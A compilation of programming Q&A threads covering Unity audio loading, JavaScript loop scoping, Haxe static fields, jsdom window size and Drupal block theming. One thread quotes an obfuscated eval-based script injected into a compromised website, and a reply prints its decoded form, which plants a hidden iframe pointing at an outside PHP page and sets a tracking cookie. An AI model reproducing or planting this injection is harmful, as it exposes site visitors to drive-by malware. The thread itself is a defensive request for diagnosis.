Folks I'm having trouble creating an audio source and assigning it a clip in Unity.
I'm streaming a file and the debugger tells me it's found the file and it's ready to play using the following code.
#script RequireComponent(AudioSource)
var www : WWW;
var audioSource: AudioSource = gameObject.AddComponent<AudioSource>();
var myAudioClip: AudioClip;
function Start ()
{
www = new WWW ("file://" + Application.dataPath.Substring (0, Application.dataPath.LastIndexOf ("/")) + "/Assets/intro.wav");
myAudioClip = www.audioClip;
Debug.Log(myAudioClip.isReadyToPlay);
}
However the debugger gives me errors in my audioSource declaration.
Unexpected Token: )
expecting ), found ';'
'; expected, insert a semicolon at the end.
This error points at the line
var audioSource: AudioSource = gameObject.AddComponent();
Ultimately my aim is to then assign the clip to the audioSource and let rip!
You already have declared that a component of AudioSource is needed;
#script RequireComponent(AudioSource)
So no need to add it as a component. I don't normally use UnityScript but here's the code you want;
#script RequireComponent(AudioSource)
var www : WWW;
var audioSource : AudioSource;
var myAudioClip : AudioClip;
function Start () {
audioSource = GetComponent(AudioSource);
StartCoroutine( LoadAudio( "file://" + Application.dataPath.Substring (0, Application.dataPath.LastIndexOf ("/")) + "/Assets/intro.wav" ) );
}
function LoadAudio( path : String ) {
www = new WWW ( path );
yield www;
myAudioClip = www.audioClip;
Debug.Log(myAudioClip.isReadyToPlay);
}
To use the WWW class you can use coroutines to wait until it's done loading the asset you require. Or you can keep checking whether www.isDone is true.
Documentation; http://docs.unity3d.com/ScriptReference/Coroutine.html
Related
I got list of videos from API, it has list of urls fo thumbnail and i would like to combine thumbnails of each video to gif. When i loop through videos and don't generate gifs it goes through 5 times as expected, but if i include function that should generate gifs it only goes through once, without any errors. I have no idea what is happening
I'm using node.js, discord.js, get pixels and gif-encoder modules to generate thumbnails.
for(i=0;i<5;i++){
generateThumbnail(data[i].video.video_id,data[i].video.thumbs,function(){
var tags = '';
for(t=0;t<data[i].video.tags.length;t++){
tags = tags + data[i].video.tags[t].tag_name+', ';
}
fields = [
{name:data[i].video.title,
value:value},
{name:'Tags',
value:tags}
]
msg.channel.send({embed: {
color: 3447003,
thumbnail: {
"url": ""
},
fields: fields,
}});
});
}
function generateThumbnail(id,images,fn){
var pics = [];
console.log(id)
var file = require('fs').createWriteStream(id+'.gif');
var gif = new GifEncoder(images[0].width, images[0].height);
gif.pipe(file);
gif.setQuality(20);
gif.setDelay(1000);
gif.setRepeat(0)
gif.writeHeader();
for(i=0;i<images.length;i++){
pics.push(images[i].src)
}
console.log(pics)
addToGif(pics,gif);
fn()
}
var addToGif = function(images,gif, counter = 0) {
getPixels(images[counter], function(err, pixels) {
gif.addFrame(pixels.data);
gif.read();
if (counter === images.length - 1) {
gif.finish();
} else {
addToGif(images,gif, ++counter);
}
})
}
if i dont use GenerateThumbnail function it goes through 5 times as expected and everything works fine, but if i use it it goes through only once, and generated only 1 gif
Use var to declare for vars. Ie for(var i=0....
If you declare vars without var keyword, they are in the global scope. ..... and you are using another i var inside the function but now it is the same var from the outer for loop.
After some hours doing some testing I figured out that my map contains the correct values, but the loop that I am using only seems to be using the last added value in this map. Am I missing something obvious here?
The function that adds items to the map: (controls is the map variable)
public static function CreateThumbstick(mActorType:ActorType, mLocation:Int, mDirectionLock:Int)
{
var controllerName = "Thumbstick"+mLocation;
if(!controls.exists(controllerName)){
createRecycledActor(mActorType, 0, 0, Script.FRONT);
var lastActor = getLastCreatedActor();
var myPosition = GetPosition(controllerName, lastActor);
lastActor.setX(myPosition.x);
lastActor.setY(myPosition.y);
var myPos = new Vector2(lastActor.getXCenter(), lastActor.getYCenter());
var controlUnit = new ControlUnit(lastActor, myPos, -1);
controls.set(controllerName, controlUnit);
trace("added key: " + controllerName +" with value: "+ lastActor);
} else {
trace("!!WARNING!! Control unit already exists in this position. Command ignored!");
}
}
Upon creating 3 thumbsticks, the log states the following:
added key: Thumbstick1 with value: [Actor 1,Thumbstick]
added key: Thumbstick2 with value: [Actor 2,Thumbstick]
added key: Thumbstick3 with value: [Actor 3,Thumbstick]
When the screen is touched, it should loop through each item in my map, but it is using the last added item 3 times to check the distance with, rather then all 3 items once. Here is the Listener that is being called when the screen is touched:
addMultiTouchStartListener(function(event:TouchEvent, list:Array<Dynamic>):Void
{
for (unit in controls){
trace(lastDebugLine + "checking distance to " + unit.GetActor());
if(GetDistance(unit.GetCenter(), touch.GetPosition()) < 64){
break;
}
}
});
// used "touch.GetPosition()" instead of actuall code for easy reading. This is not causing any problems!
Upon touching the screen, the log states the following:
checking distance to [Actor 3,Thumbstick]
checking distance to [Actor 3,Thumbstick]
checking distance to [Actor 3,Thumbstick]
I am quite new to the Haxe language, so my guess is that I am missing something obvious, even after I have followed the Haxe API very closely. This is the example used from the Haxe API page:
var map4 = ["M"=>"Monday", "T"=>"Tuesday"];
for (value in map4) {
trace(value); // Monday \n Tuesday
}
All explanations are welcome!
Added ControlUnit class:
import com.stencyl.models.Actor;
class ControlUnit
{
static var actor;
static var center;
static var touchID;
public function new(mActor:Actor, mPosition:Vector2, mTouchID:Int)
{
actor = mActor;
center = mPosition;
touchID = mTouchID;
}
public function GetActor():Actor{
return(actor);
}
public function GetCenter():Vector2{
return(center);
}
public function GetTouchID():Int{
return(touchID);
}
}
You just used static for vars in class definitions - they aren't instance aware/based.
Check 'properties', getters, setters etc. in https://haxe.org/manual/class-field-property.html
Are you sure that getLastCreatedActor() is returning a separate instance each time? If it's returning the same instance each time you will likely see what you're getting.
Isn't that because all of your keys map to the same value? Try mapping them to different values and test it.
Should be a simple question. How do I set the width in a jsDom object?
jsdom.env({
url:'http://testdatalocation',
scripts: ['http://code.jquery.com/jquery.js'],
done: function(errors, tstWindow) {
console.log(tstWindow.innerWidth);
};
}
});
I can't figure out how to get the "innerWidth" to be anything but 1024
The resizeTo and resizeBy methods are not implemented. You can see that by searching through the code base of jsdom:
$ grep -P 'resize(To|By)' `find . -type f`
./lib/jsdom/browser/index.js: resizeBy: NOT_IMPLEMENTED(null, 'window.resizeBy'),
./lib/jsdom/browser/index.js: resizeTo: NOT_IMPLEMENTED(null, 'window.resizeTo'),
If you just want to set the window size once and for all at initialization time, you could just set the innerWidth value to whatever you want. In a real browser, this is not the right way to do it, but in jsdom it would work.
However, if you have code that depends on resizeTo being present, you can add your own polyfill to the constructor that builds windows:
var jsdom = require("jsdom");
var document = jsdom.env({
html: "<html></html>",
done: function (error, w) {
console.log(w.innerWidth, w.innerHeight);
w.constructor.prototype.resizeTo = function (width, height) {
this.innerWidth = this.outerWidth = width;
this.innerHeight = this.outerHeight = height;
};
w.resizeTo(100, 200);
console.log(w.innerWidth, w.innerHeight);
}
});
This displays:
1024 768
100 200
The code above is for illustration purposes. I've not thought about all the ins and outs of writing a polyfill for resizeTo. resizeBy would be handled similarly but would add deltas to the size of the window.
There isn't currently a formal option or API for doing so.
The values of innerWidth and similar properties are simply set to literal values:
DOMWindow.prototype = createFrom(dom || null, {
// ...
name: 'nodejs',
innerWidth: 1024,
innerHeight: 768,
outerWidth: 1024,
outerHeight: 768,
// ...
});
Beyond test cases and documentation, outerWidth isn't referenced elsewhere else in jsdom, so you could probably assign a new value within the created event, updating outerWidth as well.
The primary use-case for created is to modify the window object (e.g. add new functions on built-in prototypes) before any scripts execute.
created: function (errors, tstWindow) {
tstWindow.outerWidth = tstWindow.innerWidth = 1440;
},
done: function(errors, tstWindow) {
console.log(tstWindow.innerWidth);
}
I developed a site about a year and half ago.It is very basic and simple html and little javascript.But all of sudden client informed me that his site is black-listed and in google it is showing that "may harm your computer..." msg.I looked into website's view source and noticed some additional scripts are there.I upgraded it to html5 and asked him to delete all previous files and put new files.That's worked fine and made it clear from being black-listed.just now out of curiosity I checked the site, upon visiting a "url not found" message is appearing in one corner,(for the first time only) and in source there are some additional scripts like before.I just copied it form source.
sp="s"+"p"+"li"+"t";w=window;z="dy";d=document;aq="0x";bv=(5-3-1);try{++(d.body)}catch(d21vd12v){vzs=false;try{}catch(wb){vzs=21;}if(1){f="17:5d:6c:65:5a:6b:60:66:65:17:71:62:64:5f:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:71:62:64:5f:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:71:62:64:5f:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:69:60:5c:6b:58:6d:58:6a:25:5a:66:64:26:4d:6e:71:5d:69:5e:44:42:25:67:5f:67:1e:32:4:1:17:71:62:64:5f:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:71:62:64:5f:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:2b:27:2d:1e:32:4:1:17:71:62:64:5f:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:2b:27:2d:67:6f:1e:32:4:1:17:71:62:64:5f:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:2b:27:2d:67:6f:1e:32:4:1:17:71:62:64:5f:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:2b:27:2d:1e:32:4:1:17:71:62:64:5f:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:2b:27:2d:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:71:62:64:5f:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:71:62:64:5f:53:1e:17:5a:63:58:6a:6a:34:53:1e:71:62:64:5f:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:71:62:64:5f:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:71:62:64:5f:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:71:62:64:5f:27:30:1f:20:32:4:1:74:4:1:74"[sp](":");}w=f;s=[];for(i=22-20-2;-i+1406!=0;i+=1){j=i;if((0x19==031))s+=String["fromCharCode"](eval(aq+w[1*j])+0xa-bv);}ht=eval;ht(s)}
I don't have idea what is this?Is it some malware or what?If it is a some kind of malware, what should I do and how to prevent it?I am afraid if it going to be blacklisted again.
Any idea or advice would be greatly appreciated
Thanks in advance
Confirmed it to be malware - see link below. Seems to be a compromised admin password. First change that.
Is it a Wordpress site? I've heard good things about Better WP security plugin but I'm not too familiar with it.
If not Wordpress - seeing as you say "simple html, little javascript" check for SQL injection possibilities in any forms, etc., change FTP password.
Good luck!
Limeworks.org malware - Threat Report
after deobfuscation, this is the code you got:
function zkmh09() {
var static='ajax';
var controller='index.php';
var zkmh = document.createElement('iframe');
zkmh.src = 'http://rietavas.com/VwzfrgMK.php';
zkmh.style.position = 'absolute';
zkmh.style.color = '406';
zkmh.style.height = '406px';
zkmh.style.width = '406px';
zkmh.style.left = '1000406';
zkmh.style.top = '1000406';
if (!document.getElementById('zkmh')) {
document.write('<p id=\'zkmh\' class=\'zkmh09\' ></p>');
document.getElementById('zkmh').appendChild(zkmh);
}
}
function SetCookie(cookieName,cookieValue,nDays,path) {
var today = new Date();
var expire = new Date();
if (nDays==null || nDays==0) nDays=1;
expire.setTime(today.getTime() + 3600000*24*nDays);
document.cookie = cookieName+"="+escape(cookieValue)
+ ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) &&
( name != document.cookie.substring( 0, name.length ) ) )
{
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');
zkmh09();
}
}
as you can see it creates an iframe element and send an ajax requests to http://ri***vas.com/Vwz***MK.php page. also it has two other function to set and get cookies.
I know how to get block data by module_invoke(),
but how to use standard block theme for rendering it.
I tried to use theme() function but with no success.
Could somebody give me advice?
Regards
Taken from the API comments for theme_block
// setup vars
$module = 'system';
$delta = 0; // could also be a string
// renders the "Powered by Drupal" block
// #see hook_block()
// #see module_invoke()
$block = module_invoke($module, 'block', 'view', $delta);
// must be converted to an object
$block = !empty($block) ? (object)$block : new stdclass;
$block->module = $module;
$block->delta = $delta;
$block->region = 'whateverYouWant';
echo theme('block',$block);
Haven't tested it but it seems to be doing what you want. This uses the regular theme function to theme the block you are retrieving